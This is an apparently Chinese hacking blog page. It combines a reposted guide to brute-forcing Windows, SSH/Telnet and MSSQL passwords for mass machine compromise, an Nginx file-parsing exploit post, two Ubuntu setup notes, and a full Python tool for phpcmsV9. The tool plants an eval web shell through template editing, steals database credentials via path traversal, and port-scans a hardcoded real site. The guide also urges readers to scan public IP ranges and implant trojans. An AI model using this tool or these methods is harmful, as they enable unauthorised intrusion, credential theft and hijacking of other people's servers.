渗透之密码破解

本文转自:法客 作者:杀猪刀

习惯了,睡觉去法客看看有没有好的文章看看,今天发现这个文章相当不错,所以转载之~~

一、系统密码破解篇:

1) Windows系统密码破解

说起系统密码,估计玩安全比较早的人都知道04-07年那一阵一个啊D工具包就能够扫出一大堆肉鸡,
但是对于牛逼的XX们来说这显然是不够用的,于是慢慢到后来就有了各种XX论坛、XX小组自动抓鸡工具,后来360的崛起,
免费的杀软如春笋般冒出才慢慢止住势头,那么对于Windows系统账号密码破解,工具很多,主流的有:
啊D网络工具包
NTScan
Windows系统密码破解的流程是:

  1. 通过扫描端口确定对方开启了IPC$
  2. 通过工具穷举密码直到正确的密码
  3. 获得正确的密码后通过远程任务计划开启进程等(最原始最土的做法)很明显这种方法一般是作为菜鸟入门才使用的,记得当时分析自动抓鸡才发现,使用了WMIC管理规范,原来是一段WMIC脚本自动HTTP种植木马,到目前为止所谓自动化135抓鸡工具也是此原理和代码;

近年来还流行一种所谓RDP远程破解抓肉鸡的方法,原理很简单模拟批量登入RDP协议(Remote Desktop Protocol),
很简单有过Windows管理经验的人都知道微软默认的管理方式就是RDP远程桌面管理,很明显如果可以模拟此行为大量提交那么也可以破解密码,
代表的工具就是俄罗斯黑客出品的public版工具以及XXX。其实还有一种方式不通过微软RDP端,自己重写RDP连接协议,效率更高。此类工具我就用过,嘿嘿。

本地破解:
通过抓hash然后字典破解,这种方法适合已经获取系统权限可以抓密码文件的方式,所以叫做本地破解,
也许本人小时候帮助舅舅杀猪的时候按猪脚沾了血腥,导致这些年运气不好,成功率不到1/1000。

总结:

到目前为止,一些地下组织的所谓全端口抓鸡工具包也包含了Windows系统密码破解的,Windows 2000/xp/2003/vista/win7都通用,
如果各位有疑问可以扫你们当地网段肯定可以扫到包含弱口令的机器,如果运气好那就直接可以上传执行木马。当然对于我们搞Web安全来说,
经常遇到需要破解密码的情况无非是提权抓到了本地密码文件,然后爆破密码。还有就是日进了内网,扩展战果使用,都非常重要,而且屡试不爽。

2) Linux/Unix系统密码破解:

Linux/Unix目前主流的管理协议都是SSH/Telnet,常用的管理工具诸如:Putty、SecureCRT、SSHClient等,
目前因为Linux/Unix入门相对Windows较难,因此玩Linux/Unix的人比较少,相对的流行的工具、教程也少。
那么Linux/Unix可不可以像Windows那样批量扫肉鸡,当然是可以了。先说Telnet协议,大家都知道Telnet是明文协议,
也就是可以抓包获取登入密码,而一般的网络设备如交换机、路由器、防火墙默认基本上都是通过Telnet协议远程管理,
要破解Telnet协议密码也非常简单,工具很多比如X-Scan等,而SSH协议也类似,直接破解密码后使用工具也可以直接登入。
而且登入后直接执行命令,而不必像windows那样需要种植木马后门才能够交互执行。如果有想学习路由交换而缺少银子的朋友,
建议你操起X-Scan填入你们当地公网网段,破telnet/ssh你会发现大量的H3COM、中兴等你蹂躏。搞完考一个CCNA肯定没问题;
总结:Linux/Unix破解密码的先决条件是目标采用静态密码验证登入系统,如果采用的是RSA密钥的方式验证,那么这类基于远程密码破解自然就无意义了。
这也是与Windows区别比较大的地方。另外破解Linux/Unix密码也可以采用曲线救国的方式,那就是知道对方采用某一类管理工具比如VNC等X-Windows客户端软件。
这类工具很多都有自己的验证方式,如果爆发漏洞(比如之前的VNC弱口令),或者没有采用强壮的认证方式那么更加容易被远程暴力破解。
这种情况通常发生在有一定规模的企业,服务器达到一定的数量级为了便于管理通常都会使用某一类商用管理客户端。
当然,目的是密码,也可以剑走偏锋。比如今年爆发的汉化版客户端Putty、SecureCRT等被植入后门的事件也充分说明了广大“黑客”的智慧无上限。
代表工具:单一协议很多,这里推荐神器:Hydra以及NCrack。详见http://sectools.org/。

二、数据库密码篇:

主流的数据库很多,目前国内流行的基于破解密码的抓鸡方式最主流的就是1433抓鸡,之所以叫1433抓鸡是因为微软MSSQL Server数据库默认远程管理端口是1433(当然可以更改),
而默认情况下MSSQL Server最高权限用户sa绑定了shell,通俗的说就是如果你拥有了MSSQL Server 数据库Sa账户的权限那么你就拥有了系统执行权限。
所以随便谷歌1433抓鸡|1433批量抓鸡,工具教程一大把。利用的程序也就那么几个因为够代表性简述下大概流程:

  1. 通过端口批量扫描确定开放1433的主机,一般这个扫描由S扫描器完成,也就是Wineggdrop大神的S扫描器,在此感谢他提供了互联网历史上公开最快的SYN扫描工具,没有之一。
  2. 通过管理工具连接存在弱口令的主机,通常使用小榕写的MSSQL执行工具;
  3. 如果发现没有权限那么导入一堆的恢复扩展命令,直到能恢复为止;
  4. 确定能够执行的工具后上传木马,于是肉鸡到手;

PS:这个是目前为止除了挂马来肉鸡最快的远程抓鸡方式,说到这里或许有人会问,Access数据库行不行,能不能破解弱口令抓肉鸡?
没意义,因为Access是非常小型本地数据库,适用于小应用,微软没有为其提供远程管理方式,所以就没远程破解密码的说法,
对于web安全而言更多的是通过注入、路径泄漏等方式获取Access数据库中的管理员密码然后登入后台获取Webshell,然后提权。
当然MSSQL数据库密码获取也可以剑走偏锋,比如获取Webshell之后通过翻看配置文件,
通常关于数据库信息容易存在于conn.asp、webconfig.xml等默认配置文件以及用户自行开发的配置文件中。
国内也有商用工具在做白盒测试扫描时会自动遍历此类文件然后做关键是识别匹配。

说完MSSQL那就不不说跟他很像的MySQL数据库,这个数据库通常运行于Linux/Unix系统中。MYSQL与其功能强大、免费、高效著称。
很明显作为一款强大的数据库必须支持远程管理,那么自然就有破解密码这一说了,通常情况下纯粹远程破解MYSQL可以使用的工具很多比如国产的X-Scan、HScan等。
当然也可以通过爆破phpMyadmin这个管理平台来曲线救国达到爆破的目的,区别在于用HTTP通道爆破而已。以上为比较典型的远程破解,
而本地破解则显得比较单一,通过webshell或者提权之后获取user.MYD文件(此文件Linux与Windows都存放在相同目录)
然后找到Hash本地爆破或者使用网站在线爆破比如:http://www.onlinehashcrack.com/multi-hash-cracking.php。
当然了MYSQL同样可以使用查看网站配置文件的方式获取密码,比如各种CMS以及论坛,初次安装都需要写入数据库连接信息到某配置文件xx .inc.php等。
当然不管何种数据库都会有漏洞爆发的可能,导致验证被攻破,比如前一段时间爆发的MySQL身份认证漏洞。导致直接可以绕过认证。

一篇不错的文章,所以收留之~

Posted by creturn - 9月 7 2012
如需转载,请注明: 本文来自 Return's Blog

Nginx解析漏洞原理及其利用方法

Nginx解析漏洞已经是比较老的漏洞了,但是互联网上还有不少使用存在解析漏洞的nginx版本。

很久没写文章了,睡觉去去法客转了圈看到一片nginx漏洞的渗透文章,才发现自己似乎也没写过。

nginx解析漏洞是由于nginx部分版本程序本身的漏洞导致解析非可以执行脚本程序如PHP.

如下面两个假设在存在漏洞的站点上有一张图片url地址为:

1
www.creturn.com/logo.jpg   //假设存在这个图片

而当我们正常访问,nginx会把这个当作非脚本语言直接读取传送会客户端(也就是浏览器),但是

存在解析漏洞的nginx会把如下连接解析并且执行~:

1
2
www.creturn.com/logo.jpg/a.php (老的解析方式)这样写的话nginx会把logo.jpg当作脚本解析执行后再输出
www.creturn.com/logo.jpg%00.php //这个是7月中旬爆出的解析漏洞

这样的解析漏洞有什么危害?其实很多站的安全或者程序样做的比较严谨的话,就没办法直接拿下,但是很多社交类

或者交互类的站点上往往允许用户上传图片,如社交网站一般都会允许上传头像~这样如果有心人传送一个图马上去就可以直接解析了。

ubuntu下eclipse+erlang+mongodb开发环境搭建

最近公司webGame项目中用到了Erlang+MongoDB,没办法项目需要那就学呗。

学这个东西最起码得有环境吧,今天搭建开发环境就顺便记录一下,依然在ubuntu下进行开发。

顺便说下,如果做开发,最好选择linux,因为很多环境在linux下搭建很方便。win下一般也会

有相应的发法搭建,但是经常会遇到一些莫名其妙的问题。因此建议做开发的同学还是Linux下吧。

好了不废话了,继续我们的环境搭建(Ubuntu下进行):

Mongodb 安装

打开命令输入如下命令:

1
sudo apt-get install mongodb

Ubuntu下的PHP开发环境架设

今天重新装了ubuntu那么就吧过程记录下。

打开终端,也就是命令提示符。

我们先来最小化组建安装,按照自己的需求一步一步装其他扩展。命令提示符输入如下命令:

1
sudo apt-get install apache2 php5-mysql libapache2-mod-php5 mysql-server

上面的命令是最小化组建安装amp也就是apache2 ,php5 和 mysql 在加上一个php的mysql扩展


Python版 phpcmsV9自动写shell工具

最近一直在学习python相关内容就顺手写个工具以作练习,上代码:

注意:本程序具有攻击性,请勿用作非法用途,否则于本作者无关!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#coding: GBK
'''
Created on 2012-8-2
@author: Return
'''
import cookielib
import urllib2,urllib
import re
import sys
import os
import socket
class getShell:
rhost = '' #远程目标主机
cookieSavePath = 'tmp/cookie/cookie.dat' #cookie 保存位置
codeSavePath = 'tmp/code/code.png' #code 保存位置
phpShell = '<?php $shell = "<?php eval($_POST[cmd]);?>"; file_put_contents("caches/cmd.php",$shell); ?>' #一句话
header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'}
tmpPath = '' #临时地址存贮变量
dataBaseInfo = {} #数据库信息
postData = {} #post数据
url = '' #远程url地址
username = '' #用户名
password = '' #用户密码
vfCode = '' #验证码
pc_hash = '' #phpcmsV9校验值
result = '' #临时变量
#==============================================================
# __init__ 初始化函数
#==============================================================
def __init__(self):
self.cookie = cookielib.LWPCookieJar()
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)))
#==============================================================
# login 登录
#==============================================================
def login(self):
self.getVerifyCode() #先获取验证码
self.tmpPath = '/index.php?m=admin&c=index&a=login&dosubmit=1'
self.postData = {
'username':self.username,
'password':self.password,
'code':self.vfCode,
'dosubmit':''
}
self.url = 'http://'+self.rhost+self.tmpPath
self.result = self.urlPostData()
if len(re.findall("登录成功",self.result)):
self.pc_hash = re.search("(?<=pc_hash=)(.+?)(?=')",self.result).group()
print '登录成功'
self.wirteShell() # 登陆成功后写入shell
else:
print '登录失败'
print re.search('(330px">)((.|n)*?)(?=</div>)',self.result).group(2)
self.login()
def wirteShell(self):
print '写入Shell...'
tmpPath = '/index.php?m=template&c=file&a=edit_file&style=default&dir=search&file=footer.html&pc_hash='
self.url = 'http://'+self.rhost+tmpPath+self.pc_hash #v9中必须加上校验码,否则不能通过
self.result = self.urlPostData()
if len(re.findall('点击插入',self.result)):
templateTmp = re.search("(<te.*?>)((.|n)*?)(<.*?>)",self.result).group(2)
#提交写shell模版
self.postData = {
'code':self.phpShell,
'dosubmit':'提交',
'pc_hash':self.pc_hash
}
self.url = 'http://'+self.rhost+tmpPath+self.pc_hash
self.urlPostData()
urllib2.urlopen('http://'+self.rhost+'/index.php?m=search').read()#访问模版页面生成shell
#写回原模版
self.postData = {
'code':templateTmp,
'dosubmit':'提交',
'pc_hash':self.pc_hash
}
self.url = 'http://'+self.rhost+tmpPath+self.pc_hash
self.urlPostData()
else:
print '没有找到Search的foot模版...'
#==============================================================
# getVerifyCode 获取验证码
#==============================================================
def getVerifyCode(self):
#验证码获取地址
self.tmpPath = '/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background='
self.url = 'http://'+self.rhost+self.tmpPath
open(self.codeSavePath,'wb').write(self.urlPostData())
print '请输入验证码:'
self.showPic()
self.vfCode = sys.stdin.readline()
#==============================================================
# urlPostData url Post提交数据
#==============================================================
def urlPostData(self):
postData = urllib.urlencode(self.postData)
req = urllib2.Request(
url = self.url,
data = postData,
headers = self.header
)
result = urllib2.urlopen(req).read()
self.saveCookie()
self.delVariable()
return result
#==============================================================
# getDataBaseInfo 获取数据库信息
#==============================================================
def getDataBaseInfo(self):
#爆数据库信息地址
self.tmpPath = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php'
self.url = 'http://'+self.rhost+self.tmpPath
result = self.urlPostData()
self.dataBaseInfo['hostName'] = re.search("(?<='hostname' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['database'] = re.search("(?<='database' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['username'] = re.search("(?<='username' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['password'] = re.search("(?<='password' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['tablepre'] = re.search("(?<='tablepre' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['type'] = re.search("(?<='type' => ')(.*?)(?=',)",result).group()
#==============================================================
# printDbInfo 输出数据库信息
#==============================================================
def printDbInfo(self):
print 'HostName:',self.dataBaseInfo['hostName']
print 'DataBase:',self.dataBaseInfo['database']
print 'UserName:',self.dataBaseInfo['username']
print 'Password:',self.dataBaseInfo['password']
print 'TablePre:',self.dataBaseInfo['tablepre']
print 'DataType:',self.dataBaseInfo['type']
#==============================================================
# scanPort 端口扫描
#==============================================================
def scanPort(self):
for p in range(80,8000):
try:
ip = 'www.gidigame.com'
port = p
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
print 'Port:',port,' open'
s.close()
except socket.error,msg:
pass
#print 'Port:',port,' close'
#==============================================================
# setRhost 设置目标主机
#==============================================================
def setRhost(self,host):
self.rhost = host
#==============================================================
# getRhost 获取目标主机
#==============================================================
def getRhost(self):
return self.rhost
#==============================================================
# setShell 自定义shell
#==============================================================
def setShell(self,shellCode):
self.phpShell = shellCode
#==============================================================
# saveCookie 保存cookie值
#==============================================================
def saveCookie(self):
self.cookie.save(self.cookieSavePath)
#==============================================================
# logMsg 日志信息,这里可以自己捕捉异常后处理信息
#==============================================================
def logMsg(self,msg):
print msg
exit()
#==============================================================
# showPic 用来显示验证码
#==============================================================
def showPic(self):
imgPath = os.path.abspath(self.codeSavePath)
os.system('rundll32.exe %SystemRoot%system32shimgvw.dll,ImageView_Fullscreen '+imgPath)
#==============================================================
# delVariable 清除变量,防止产生误差
#==============================================================
def delVariable(self):
self.url = ''
self.tmpPath = ''
self.dataBaseInfo = {}
self.postData = {}
self.header ={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'}
#==============================================================
# __del__ 析构函数,类被注销时候调用
#==============================================================
def __del__(self):
print 'Bye...'
def sysinfo():
print '''
********************************************************************************
PHPcmsV9 自动写shell
功能:自动写入caches目录下cmd.php一句话 密码:cmd
Author: Return Blog:www.creturn.com
Example: exp.py www.creutn.com username password
********************************************************************************
'''
#================================================================
# main 入口函数
#================================================================
def main():
sysinfo();
shell = getShell()
if(len(sys.argv) > 3):
shell.setRhost(sys.argv[1])
shell.username = sys.argv[2]
shell.password = sys.argv[3]
shell.login()
else:
print '参数不对!'
if __name__ == '__main__':
main()